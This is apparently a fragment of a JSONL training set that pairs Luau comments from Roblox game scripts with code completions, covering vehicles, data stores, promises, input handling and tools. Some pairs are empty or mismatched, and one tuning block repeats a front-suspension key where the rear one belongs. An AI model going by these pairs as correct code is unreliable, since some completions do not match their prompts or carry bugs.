then\n\t\t\tv:Destroy()\n\t\tend\n\tend\n\tlocal head = hit.Parent:FindFirstChild(\"Head\")\n\tlocal newHat = hat:Clone()\n\tnewHat:FindFirstChild(\"HatScript\"):Destroy()\n\tnewHat:SetPrimaryPartCFrame(head.CFrame) -- puts the head into the head\n\tnewHat.PrimaryPart:Destroy()\n\tfor _, part in pairs (newHat:GetChildren()) do\n\t\tif part:IsA(\"BasePart\") then\n\t\t\tweldParts(head, part)\n\t\t\tpart.CanCollide = false\n\t\t\tpart.Anchored = false\n\t\tend\n\tend\n\tnewHat.Parent = hit.Parent\nend)\n"} +{"prompt": "--[[\n\tFired when Warmup is entered, transitioning the server state\n]]", "completion": "\nfunction Transitions.onEnterWarmup(stateMachine, event, from, to)\n\tLogger.trace(\"Server state change: \", from, \" -> \", to)\n\tServerWarmup.enter(stateMachine)\nend\n"} +{"prompt": "--- Returns if the command bar is visible", "completion": "\nfunction Window:IsVisible()\n\treturn Gui.Visible\nend\n"} +{"prompt": "-- Check repeated sound", "completion": "\nlocal check_repetition = function(sound)\n if sound ~= lastSound then\n lastSound = sound\n\n return false\n else\n return true\n end\nend\n"} +{"prompt": "-- Setup", "completion": "\nupdateCheckbox(CheckedValue.Value)\nCheckbox.Activated:Connect(function ()\n\tselectCheckbox()\nend)\nLabel.Activated:Connect(function ()\n\tselectCheckbox()\nend)\n"} +{"prompt": "-- Format params: paramName, expectedType, actualType", "completion": "\nlocal ERR_INVALID_TYPE = \"Invalid type for parameter '%s' (Expected %s, got %s)\"\n"} +{"prompt": "-- deviation: alias for internal React$ flow types", "completion": "\nexport type React_Node =\n\tnil\n\t| boolean\n\t| number\n\t| string\n\t| React_Element\n\t-- TODO: only include this once it's more specific than `any`\n\t-- | React_Portal\n\t| Array\n\t-- TODO Luau: this more closely matches the upstream Iterable<>, hypothetically the UNIQUE_TAG field makes it so we don't unify with other tables and squad field resolution\n\t| { [string]: React_Node?, UNIQUE_TAG: any? }\n\nexport type React_Element = {\n\ttype: ElementType,\n\tprops: React_ElementProps?,\n\tkey: React_Key | nil,\n\tref: any,\n}\n\nexport type React_PureComponent = React_Component\n"} +{"prompt": "---- ARITHMETIC ----", "completion": "\n\nfunction ActiveCastStatic:AddVelocity(velocity: Vector3)\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"AddVelocity\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tself:SetVelocity(self:GetVelocity() + velocity)\nend\n\nfunction ActiveCastStatic:AddAcceleration(acceleration: Vector3)\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"AddAcceleration\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tself:SetAcceleration(self:GetAcceleration() + acceleration)\nend\n\nfunction ActiveCastStatic:AddPosition(position: Vector3)\n\tassert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format(\"AddPosition\", \"ActiveCast.new(...)\"))\n\tassert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)\n\tself:SetPosition(self:GetPosition() + position)\nend\n"} +{"prompt": "--[[\n\tPushes uncalled beforeAll and afterAll hooks back up the stack\n]]", "completion": "\nfunction LifecycleHooks:popHooks()\n\ttable.remove(self._stack, #self._stack)\nend\n\nfunction LifecycleHooks:pushHooksFrom(planNode)\n\tassert(planNode ~= nil)\n\n\ttable.insert(self._stack, {\n\t\t[TestEnum.NodeType.BeforeAll] = self:_getHooksOfType(planNode.children, TestEnum.NodeType.BeforeAll),\n\t\t[TestEnum.NodeType.AfterAll] = self:_getHooksOfType(planNode.children, TestEnum.NodeType.AfterAll),\n\t\t[TestEnum.NodeType.BeforeEach] = self:_getHooksOfType(planNode.children, TestEnum.NodeType.BeforeEach),\n\t\t[TestEnum.NodeType.AfterEach] = self:_getHooksOfType(planNode.children, TestEnum.NodeType.AfterEach),\n\t})\nend\n"} +{"prompt": "--Actual script", "completion": "\ngame.Players.PlayerAdded:Connect(function(player)\nplayer.CharacterAdded:Connect(function()\nif script:FindFirstChild(\"SendDeathMessage\") and script:FindFirstChild(\"DeathMessage\") then\nscript:FindFirstChild(\"SendDeathMessage\").Parent = game.ReplicatedStorage\nscript:FindFirstChild(\"DeathMessage\").Parent = game.StarterGui\nif player.Character:FindFirstChild(\"Humanoid\") then\nlocal hum = player.Character:FindFirstChild(\"Humanoid\")\nhum.Died:Connect(function()\nlocal DeathMessage = DeathMessages[math.random(1,#DeathMessages)]\nlocal Users = game.Players:GetChildren()\nfor i, User in pairs(Users) do\nif game.ReplicatedStorage:FindFirstChild(\"SendDeathMessage\") then\ngame.ReplicatedStorage.SendDeathMessage:InvokeClient(User, player.Name .. \" \" .. DeathMessage)\nend\nend\nend)\nend\nelseif game.ReplicatedStorage:FindFirstChild(\"SendDeathMessage\") and game.StarterGui:FindFirstChild(\"DeathMessage\") then\nif player.Character:FindFirstChild(\"Humanoid\") then\nlocal hum = player.Character:FindFirstChild(\"Humanoid\")\nhum.Died:Connect(function()\nlocal DeathMessage = DeathMessages[math.random(1,#DeathMessages)]\nlocal Users = game.Players:GetChildren()\nfor i, User in pairs(Users) do\nif game.ReplicatedStorage:FindFirstChild(\"SendDeathMessage\") then\ngame.ReplicatedStorage.SendDeathMessage:InvokeClient(User, player.Name .. \" \" .. DeathMessage)\nend\nend\nend)\nend\t\nend\nend)\nend)\n"} +{"prompt": "--Make NPC jump", "completion": "\nlocal function setJumpState(self)\n\tpcall(function()\n\t\tif self._humanoid:GetState() ~= Enum.HumanoidStateType.Jumping and self._humanoid:GetState() ~= Enum.HumanoidStateType.Freefall then\n\t\t\tself._humanoid:ChangeState(Enum.HumanoidStateType.Jumping)\n\t\tend\n\tend)\nend\n"} +{"prompt": "-- Returns a character ancestor and its Humanoid, or nil", "completion": "\nlocal function FindCharacterAncestor(subject)\n\tif subject and subject ~= Workspace then\n\t\tlocal humanoid = subject:FindFirstChild('Humanoid')\n\t\tif humanoid then\n\t\t\treturn subject, humanoid\n\t\telse\n\t\t\treturn FindCharacterAncestor(subject.Parent)\n\t\tend\n\tend\n\treturn nil\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = require(script:WaitForChild(\"Popper\"));\nlocal l__LocalPlayer__2 = game:GetService(\"Players\").LocalPlayer;\nassert(l__LocalPlayer__2);\nlocal u1 = nil;\nlocal u2 = l__LocalPlayer__2;\nlocal u3 = nil;\nlocal function v3()\n\tu1 = u2.CameraMinZoomDistance;\n\tu3 = u2.CameraMaxZoomDistance;\nend;\nu1 = u2.CameraMinZoomDistance;\nu3 = u2.CameraMaxZoomDistance;\nu2:GetPropertyChangedSignal(\"CameraMinZoomDistance\"):Connect(v3);\nu2:GetPropertyChangedSignal(\"CameraMaxZoomDistance\"):Connect(v3);\nu2 = {};\nu2.__index = u2;\nlocal l__math_clamp__4 = math.clamp;\nfunction u2.new(p1, p2, p3, p4)\n\tp2 = l__math_clamp__4(p2, p3, p4);\n\treturn setmetatable({\n\t\tfreq = p1, \n\t\tx = p2, \n\t\tv = 0, \n\t\tminValue = p3, \n\t\tmaxValue = p4, \n\t\tgoal = p2\n\t}, u2);\nend;\nlocal l__math_pi__5 = math.pi;\nlocal l__math_exp__6 = math.exp;\nfunction u2.Step(p5, p6)\n\tlocal v4 = p5.freq * 2 * l__math_pi__5;\n\tlocal l__v__5 = p5.v;\n\tlocal l__minValue__6 = p5.minValue;\n\tlocal l__maxValue__7 = p5.maxValue;\n\tlocal l__goal__8 = p5.goal;\n\tlocal v9 = l__goal__8 - p5.x;\n\tlocal v10 = v4 * p6;\n\tlocal v11 = l__math_exp__6(-v10);\n\tlocal v12 = l__goal__8 + (l__v__5 * p6 - v9 * (v10 + 1)) * v11;\n\tlocal v13 = ((v9 * v4 - l__v__5) * v10 + l__v__5) * v11;\n\tif v12 < l__minValue__6 then\n\t\tv12 = l__minValue__6;\n\t\tv13 = 0;\n\telseif l__maxValue__7 < v12 then\n\t\tv12 = l__maxValue__7;\n\t\tv13 = 0;\n\tend;\n\tp5.x = v12;\n\tp5.v = v13;\n\treturn v12;\nend;\nlocal v14 = {};\nlocal u7 = u2.new(4.5, 12.5, 0.5, u3);\nlocal u8 = 0;\nlocal l__math_max__9 = math.max;\nlocal l__math_min__10 = math.min;\nfunction v14.Update(p7, p8, p9)\n\tlocal v15 = math.huge;\n\tif u7.goal > 1 then\n\t\tlocal l__goal__16 = u7.goal;\n\t\tlocal v17 = l__math_clamp__4(l__goal__16 + u8 * (1 + l__goal__16 * 0.0375), u1, u3);\n\t\tif v17 < 1 then\n\t\t\tv17 = u8 <= 0 and u1 or 1;\n\t\tend;\n\t\tv15 = v1(p8 * CFrame.new(0, 0, 0.5), l__math_max__9(u7.x, v17) - 0.5, p9) + 0.5;\n\tend;\n\tu7.minValue = 0.5;\n\tu7.maxValue = l__math_min__10(u3, v15);\n\treturn u7:Step(p7);\nend;\nfunction v14.GetZoomRadius()\n\treturn u7.x;\nend;\nfunction v14.SetZoomParameters(p10, p11)\n\tu7.goal = p10;\n\tu8 = p11;\nend;\nfunction v14.ReleaseSpring()\n\tu7.x = u7.goal;\n\tu7.v = 0;\nend;\nreturn v14;\n"} +{"prompt": "-- black frames not included", "completion": "\n\nlocal RunService = game:GetService(\"RunService\")\nlocal Workspace = game:GetService(\"Workspace\")\n\nlocal Camera = Workspace.CurrentCamera\n\nlocal Module = {}\n\nModule.Position = UDim2.new(0, 0, 0, 0)\nModule.Size = UDim2.new(1, 0, 1, 0)\n\nlocal function UDim2Absolute(udim2)\n\tlocal viewSize = Camera.ViewportSize\n\n\treturn Vector2.new(\n\t\t(udim2.X.Scale * viewSize.X) + udim2.X.Offset,\n\t\t(udim2.Y.Scale * viewSize.Y) + udim2.Y.Offset\n\t)\nend\n"} +{"prompt": "-- NOTE: This stub is here only to benefit from the RECS system initialization", "completion": "\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal RoadSystem = require(ReplicatedStorage.Systems.RoadSystem)\nreturn RoadSystem\n"} +{"prompt": "-- Smart Circle mode needs the intersection of 2 rays that are known to be in the same plane\n-- because they are generated from cross products with a common vector. This function is computing\n-- that intersection, but it's actually the general solution for the point halfway between where\n-- two skew lines come nearest to each other, which is more forgiving.", "completion": "\nlocal function RayIntersection(p0, v0, p1, v1)\n\tlocal v2 = v0:Cross(v1)\n\tlocal d1 = p1.x - p0.x\n\tlocal d2 = p1.y - p0.y\n\tlocal d3 = p1.z - p0.z\n\tlocal denom = Det3x3(v0.x,-v1.x,v2.x,v0.y,-v1.y,v2.y,v0.z,-v1.z,v2.z)\n\n\tif (denom == 0) then\n\t\treturn ZERO_VECTOR3 -- No solution (rays are parallel)\n\tend\n\n\tlocal t0 = Det3x3(d1,-v1.x,v2.x,d2,-v1.y,v2.y,d3,-v1.z,v2.z) / denom\n\tlocal t1 = Det3x3(v0.x,d1,v2.x,v0.y,d2,v2.y,v0.z,d3,v2.z) / denom\n\tlocal s0 = p0 + t0 * v0\n\tlocal s1 = p1 + t1 * v1\n\tlocal s = s0 + 0.5 * ( s1 - s0 )\n\n\t-- 0.25 studs is a threshold for deciding if the rays are\n\t-- close enough to be considered intersecting, found through testing \n\tif (s1-s0).Magnitude < 0.25 then\n\t\treturn s\n\telse\n\t\treturn ZERO_VECTOR3\n\tend\nend\n\n\n"} +{"prompt": "--// Variables", "completion": "\nlocal L_1_ = script.Parent\nlocal L_2_ = L_1_.Parent.Parent\nlocal L_3_ = L_2_.Character\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 3500\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 14500\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "--Even though on() looks usless, it NEEDS to be there. Please don't edit this. If you do, it WILL NOT work!", "completion": "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"} +{"prompt": "--[[Brakes]]", "completion": "\n\tTune.ABSEnabled\t\t= true\t\t-- Implements ABS\n\tTune.ABSThreshold\t= 20\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\n\tTune.BrakeForce\t\t= 25000000\t\t-- Total brake force (LuaInt)\n\tTune.BrakeBias\t\t= .57\t\t-- Brake bias towards the front, percentage (1 = Front, 0 = Rear, .5 = 50/50)\n\tTune.PBrakeForce\t= 5000\t\t-- Handbrake force\n\tTune.PBrakeBias\t\t= .57\t\t-- Handbrake bias towards the front, percentage (1 = Front, 0 = Rear, .5 = 50/50)\n\tTune.EBrakeForce\t= 250\t\t-- Engine braking force at redline\n\t"} +{"prompt": "-- eventos y sonidos", "completion": "\nlocal eventEquip = script.Parent.Equip\nlocal eventAttack = script.Parent.Attack\nlocal soundEquiped = script.EquipedS\nlocal soundAttack = script.AttackS\n\ntool.Equipped:Connect(function()\n\tlocal humanoid = script.Parent.Parent.Humanoid\n\tanimIdleTrack = humanoid:LoadAnimation(animationIdle)\n\tanimIdleTrack:Play()\n\tsoundEquiped:Play()\n\t-- llamamos al evento\n\teventEquip:FireServer(handle, true)\nend)\n\ntool.Unequipped:Connect(function()\n\tanimIdleTrack:Stop()\n\teventEquip:FireServer(handle, false)\nend)\n\ntool.Activated:Connect(function()\n\tlocal humanoid = script.Parent.Parent:WaitForChild(\"Humanoid\") -- otra manera de obtener el humanoid\n\tanimAttackTrack = humanoid:LoadAnimation(animAttack)\n\tanimAttackTrack:Play()\n\tsoundAttack:Play()\n\t-- evento ataquer\n\teventAttack:FireServer(true,true, handle) -- esta atacando entonces lo hacemos verdadero\n\twait(3)\n\tanimAttackTrack:Stop()\nend)\n"} +{"prompt": "--[[**\n\t\n\tSets the value of the result in the database with the key and the new value. Attempts to get the value from the data store. Does not call functions fired on update.\n\t\n\n\t\n\tThe key to set.\n\t\n\n\t\n\tThe value to set.\n\t\n**--]]", "completion": "\nfunction DataStore:SetKeyValue(key, newValue)\n\tif not self.value then\n\t\tself.value = self:Get({})\n\tend\n\n\tself.value[key] = newValue\nend\n\nlocal CombinedDataStore = {}\n\ndo\n\tfunction CombinedDataStore:BeforeInitialGet(modifier)\n\t\tself.combinedBeforeInitialGet = modifier\n\tend\n\n\tfunction CombinedDataStore:BeforeSave(modifier)\n\t\tself.combinedBeforeSave = modifier\n\tend\n\n\tfunction CombinedDataStore:Get(defaultValue, dontAttemptGet)\n\t\tlocal tableResult = self.combinedStore:Get({})\n\t\tlocal tableValue = tableResult[self.combinedName]\n\n\t\tif not dontAttemptGet then\n\t\t\tif tableValue == nil then\n\t\t\t\ttableValue = defaultValue\n\t\t\telse\n\t\t\t\tif self.combinedBeforeInitialGet and not self.combinedInitialGot then\n\t\t\t\t\ttableValue = self.combinedBeforeInitialGet(tableValue)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tself.combinedInitialGot = true\n\t\ttableResult[self.combinedName] = clone(tableValue)\n\t\tself.combinedStore:Set(tableResult, true)\n\t\treturn tableValue\n\tend\n\n\tfunction CombinedDataStore:Set(value, dontCallOnUpdate)\n\t\tlocal tableResult = self.combinedStore:GetTable({})\n\t\ttableResult[self.combinedName] = value\n\t\tself.combinedStore:Set(tableResult, dontCallOnUpdate)\n\t\tself:_Update(dontCallOnUpdate)\n\tend\n\n\tfunction CombinedDataStore:Update(updateFunc)\n\t\tself:Set(updateFunc(self:Get()))\n\t\tself:_Update()\n\tend\n\n\tfunction CombinedDataStore:OnUpdate(callback)\n\t\tif not self.onUpdateCallbacks then\n\t\t\tself.onUpdateCallbacks = { callback }\n\t\telse\n\t\t\tself.onUpdateCallbacks[#self.onUpdateCallbacks + 1] = callback\n\t\tend\n\tend\n\n\tfunction CombinedDataStore:_Update(dontCallOnUpdate)\n\t\tif not dontCallOnUpdate then\n\t\t\tfor _, callback in pairs(self.onUpdateCallbacks or {}) do\n\t\t\t\tcallback(self:Get(), self)\n\t\t\tend\n\t\tend\n\n\t\tself.combinedStore:_Update(true)\n\tend\n\n\tfunction CombinedDataStore:SetBackup(retries)\n\t\tself.combinedStore:SetBackup(retries)\n\tend\nend\n\nlocal DataStoreMetatable = {}\n\nDataStoreMetatable.__index = DataStore\n"} +{"prompt": "-- Updates size and position", "completion": "\nlocal function updatePartFromVertexList(part, vertexList, stormPos)\n\tpart.Position = getPositionFromVertexList(vertexList)\n\tpart.Size = Vector3.new((vertexList[4] - vertexList[1]).Magnitude, (vertexList[2] - vertexList[1]).Magnitude, BARRIER_THICKNESS)\nend\n"} +{"prompt": "-- Function which acquires the currently idle handler runner thread, runs the\n-- function fn on it, and then releases the thread, returning it to being the\n-- currently idle one.\n-- If there was a currently idle runner thread already, that's okay, that old\n-- one will just get thrown and eventually GCed.", "completion": "\nlocal function acquireRunnerThreadAndCallEventHandler(fn, ...)\n\tlocal acquiredRunnerThread = freeRunnerThread\n\tfreeRunnerThread = nil\n\tfn(...)\n\t-- The handler finished running, this runner thread is free again.\n\tfreeRunnerThread = acquiredRunnerThread\nend\n"} +{"prompt": "--//# Script runs ingame!", "completion": "\nlocal Lighting = game:GetService(\"Lighting\");\nlocal TerrainService = game:GetService(\"Workspace\").Terrain\n\nlocal Enabled = true\n\nlocal TerrainPlusEnabled = true\nlocal BetterLightingEnabled = true\n"} +{"prompt": "--Updated 7/6/2019\n--Not made by me, i just fixed some things and added a sound.", "completion": "\n"} +{"prompt": "-- Keyboard controller is really keyboard and mouse controller", "completion": "\nlocal computerInputTypeToModuleMap = {\n\t[Enum.UserInputType.Keyboard] = Keyboard,\n\t[Enum.UserInputType.MouseButton1] = Keyboard,\n\t[Enum.UserInputType.MouseButton2] = Keyboard,\n\t[Enum.UserInputType.MouseButton3] = Keyboard,\n\t[Enum.UserInputType.MouseWheel] = Keyboard,\n\t[Enum.UserInputType.MouseMovement] = Keyboard,\n\t[Enum.UserInputType.Gamepad1] = Gamepad,\n\t[Enum.UserInputType.Gamepad2] = Gamepad,\n\t[Enum.UserInputType.Gamepad3] = Gamepad,\n\t[Enum.UserInputType.Gamepad4] = Gamepad,\n}\n\nlocal lastInputType\n\nfunction ControlModule.new()\n\tlocal self = setmetatable({},ControlModule)\n\n\t-- The Modules above are used to construct controller instances as-needed, and this\n\t-- table is a map from Module to the instance created from it\n\tself.controllers = {}\n\n\tself.activeControlModule = nil\t-- Used to prevent unnecessarily expensive checks on each input event\n\tself.activeController = nil\n\tself.touchJumpController = nil\n\tself.moveFunction = Players.LocalPlayer.Move\n\tself.humanoid = nil\n\tself.lastInputType = Enum.UserInputType.None\n\n\t-- For Roblox self.vehicleController\n\tself.humanoidSeatedConn = nil\n\tself.vehicleController = nil\n\n\tself.touchControlFrame = nil\n\n\tself.vehicleController = VehicleController.new(CONTROL_ACTION_PRIORITY)\n\n\tPlayers.LocalPlayer.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end)\n\tPlayers.LocalPlayer.CharacterRemoving:Connect(function(char) self:OnCharacterRemoving(char) end)\n\tif Players.LocalPlayer.Character then\n\t\tself:OnCharacterAdded(Players.LocalPlayer.Character)\n\tend\n\n\tRunService:BindToRenderStep(\"ControlScriptRenderstep\", Enum.RenderPriority.Input.Value, function(dt)\n\t\tself:OnRenderStepped(dt)\n\tend)\n\n\tUserInputService.LastInputTypeChanged:Connect(function(newLastInputType)\n\t\tself:OnLastInputTypeChanged(newLastInputType)\n\tend)\n\n\n\tUserGameSettings:GetPropertyChangedSignal(\"TouchMovementMode\"):Connect(function()\n\t\tself:OnTouchMovementModeChange()\n\tend)\n\tPlayers.LocalPlayer:GetPropertyChangedSignal(\"DevTouchMovementMode\"):Connect(function()\n\t\tself:OnTouchMovementModeChange()\n\tend)\n\n\tUserGameSettings:GetPropertyChangedSignal(\"ComputerMovementMode\"):Connect(function()\n\t\tself:OnComputerMovementModeChange()\n\tend)\n\tPlayers.LocalPlayer:GetPropertyChangedSignal(\"DevComputerMovementMode\"):Connect(function()\n\t\tself:OnComputerMovementModeChange()\n\tend)\n\n\t--[[ Touch Device UI ]]--\n\tself.playerGui = nil\n\tself.touchGui = nil\n\tself.playerGuiAddedConn = nil\n\n\tUserInputService:GetPropertyChangedSignal(\"ModalEnabled\"):Connect(function()\n\t\tself:UpdateTouchGuiVisibility()\n\tend)\n\n\tif UserInputService.TouchEnabled then\n\t\tself.playerGui = Players.LocalPlayer:FindFirstChildOfClass(\"PlayerGui\")\n\t\tif self.playerGui then\n\t\t\tself:CreateTouchGuiContainer()\n\t\t\tself:OnLastInputTypeChanged(UserInputService:GetLastInputType())\n\t\telse\n\t\t\tself.playerGuiAddedConn = Players.LocalPlayer.ChildAdded:Connect(function(child)\n\t\t\t\tif child:IsA(\"PlayerGui\") then\n\t\t\t\t\tself.playerGui = child\n\t\t\t\t\tself:CreateTouchGuiContainer()\n\t\t\t\t\tself.playerGuiAddedConn:Disconnect()\n\t\t\t\t\tself.playerGuiAddedConn = nil\n\t\t\t\t\tself:OnLastInputTypeChanged(UserInputService:GetLastInputType())\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\telse\n\t\tself:OnLastInputTypeChanged(UserInputService:GetLastInputType())\n\tend\n\n\treturn self\nend\n"} +{"prompt": "--[=[\n\tThe same as [Promise.new](/api/Promise#new), except execution begins after the next `Heartbeat` event.\n\n\tThis is a spiritual replacement for `spawn`, but it does not suffer from the same [issues](https://eryn.io/gist/3db84579866c099cdd5bb2ff37947cec) as `spawn`.\n\n\t```lua\n\tlocal function waitForChild(instance, childName, timeout)\n\t return Promise.defer(function(resolve, reject)\n\t\tlocal child = instance:WaitForChild(childName, timeout)\n\n\t\t;(child and resolve or reject)(child)\n\t end)\n\tend\n\t```\n\n\t@param executor (resolve: (...: any) -> (), reject: (...: any) -> (), onCancel: (abortHandler?: () -> ()) -> boolean) -> ()\n\t@return Promise\n]=]", "completion": "\nfunction Promise.defer(executor)\n\tlocal traceback = debug.traceback(nil, 2)\n\tlocal promise\n\tpromise = Promise._new(traceback, function(resolve, reject, onCancel)\n\t\tlocal connection\n\t\tconnection = Promise._timeEvent:Connect(function()\n\t\t\tconnection:Disconnect()\n\t\t\tlocal ok, _, result = runExecutor(traceback, executor, resolve, reject, onCancel)\n\n\t\t\tif not ok then\n\t\t\t\treject(result[1])\n\t\t\tend\n\t\tend)\n\tend)\n\n\treturn promise\nend\n"} +{"prompt": "--\t\t\tscript.Cam:Clone().Parent = char", "completion": "\n\t\t\tlocal obj = player:findFirstChild(\"Turret\")\n\t\t\tif obj then\n\t\t\t\tobj:remove()\n\t\t\tend\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tlocal tur = Instance.new(\"ObjectValue\")\n\t\t\ttur.Name = \"Turret\"\n\t\t\ttur.Value = seat.Parent\n\t\t\ttur.Parent = player\n\t\t\tscript.Parent.Tank:clone().Parent = player.Backpack;\n\t\t\tscript.Parent:WaitForChild\"TankGUI\":clone().Parent = player.PlayerGui;\n\t\tend\n\tend\nend\n\nfunction ChildRemoved(child)\n\tchar = child.Part1.Parent\n\tplayer = game.Players:getPlayerFromCharacter(char)\n\tif player then\n\t\tlocal gui = player.PlayerGui:findFirstChild(\"TankGUI\")\n\t\tif gui then\n\t\t\tgui:remove()\n\t\tend\n\t\t\n\t\tlocal tool = player.Backpack:findFirstChild(\"Tank\")\n\t\tif tool then\n\t\t\ttool:remove()\n\t\tend\n\t\t\n\t\tlocal obj = player:findFirstChild(\"Turret\")\n\t\tif obj then\n\t\t\tobj:remove()\n\t\tend\t\n\tend\nend\n\nseat.ChildAdded:connect(ChildAdded)\nseat.ChildRemoved:connect(ChildRemoved)\n\n\nlocal character = nil\n\nlocal self = script.Parent\n\n\n\n\n\n\n \n\nlocal debounce = false\n\nfunction Touched (hit)\n\n if debounce == false then\n\n if character == nil then -- Prevents more than one player being affected by this function\n\n if hit.Parent:findFirstChild(\"Humanoid\") then\n\n character = hit.Parent\n\n wait(0.1) -- Wait for the character to sit\n\n if character ~= nil then\n\n if character.Humanoid:GetState() == Enum.HumanoidStateType.Seated then\n\n for _, child in pairs(character:GetChildren()) do\n\n if child:IsA(\"Accoutrement\") then\n\n child = child.Handle\n\n end\n\t\t\t\t\t\t\n if child:IsA(\"BasePart\") then -- BasePart is a class that all \"Parts\" fall under\n\t\t\t\t\t\t\tif child.Name == \"Head\" then\n\t\t\t\t\t\t\tchild.face.Transparency = 1\n\t\t\t\t\t\t\tend\n if child.Name ~= \"HumanoidRootPart\" then -- This is a brick not meant for view\n\n child.Transparency = 1\n\n end\n\n end\n\n end\n\n \n\n local function HumanoidJumped()\n\n if character ~= nil then\n\t\t\t\t\t\t\t\n if character.Humanoid.Jump == true then\n\n for _, child in pairs(character:GetChildren()) do\n\n if child:IsA(\"Accoutrement\") then\n\n child = child.Handle\n\n end\n\n\t\t\t\t\t\t\tif child.Name == \"Head\" then\n\t\t\t\t\t\t\tchild.face.Transparency = 0\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n if child:IsA(\"BasePart\") then\n\t\t\t\t\t\t\t\tif child.Name == \"Head\" then\n\t\t\t\t\t\t\t\tchild.face.Transparency = 1\n\t\t\t\t\t\t\t\tend\n if child.Name ~= \"HumanoidRootPart\" then\n\n child.Transparency = 0\n\n end\n\n end\n\n end\n\n if debounce == false then\n\n debounce = true\n\n character.HumanoidRootPart.CFrame = self.CFrame * CFrame.new(0, 1 + self.Size.Y / 2, -3)\n\n character = nil\n\n wait(1)\n\n debounce = false\n\n end\n\n end\n\n end\n\n end\n\n \n\n character.Humanoid.Changed:connect(HumanoidJumped)\n\n end\n\n end\n\n end\n\n end\n\n end\n\nend\n\n \n\nself.Touched:connect(Touched)\n"} +{"prompt": "--Bullet.Transparency=.65", "completion": "\nBullet.formFactor=0\nBullet.TopSurface=0\nBullet.BottomSurface=0\nmesh=Instance.new(\"SpecialMesh\")\nmesh.Parent=Bullet\nmesh.MeshType=\"Brick\"\nmesh.Name=\"Mesh\"\nmesh.Scale=Vector3.new(.15,.15,1)\n\nfunction check()\n\tsp.Name=ToolName..\"-(\"..tostring(sp.Ammo.Value)..\")\"\nend\n\nfunction computeDirection(vec)\n\tlocal lenSquared = vec.magnitude * vec.magnitude\n\tlocal invSqrt = 1 / math.sqrt(lenSquared)\n\treturn Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)\nend\n"} +{"prompt": "-- Initialize texture tool", "completion": "\nlocal TextureTool = require(CoreTools.TextureTool)\nCore.AssignHotkey('G', Core.Support.Call(Core.EquipTool, TextureTool));\nCore.Dock.AddToolButton(Core.Assets.TextureIcon, 'G', TextureTool, 'TextureInfo');\n"} +{"prompt": "--function SwapToCollarAnimation(victim)\n--\tlocal 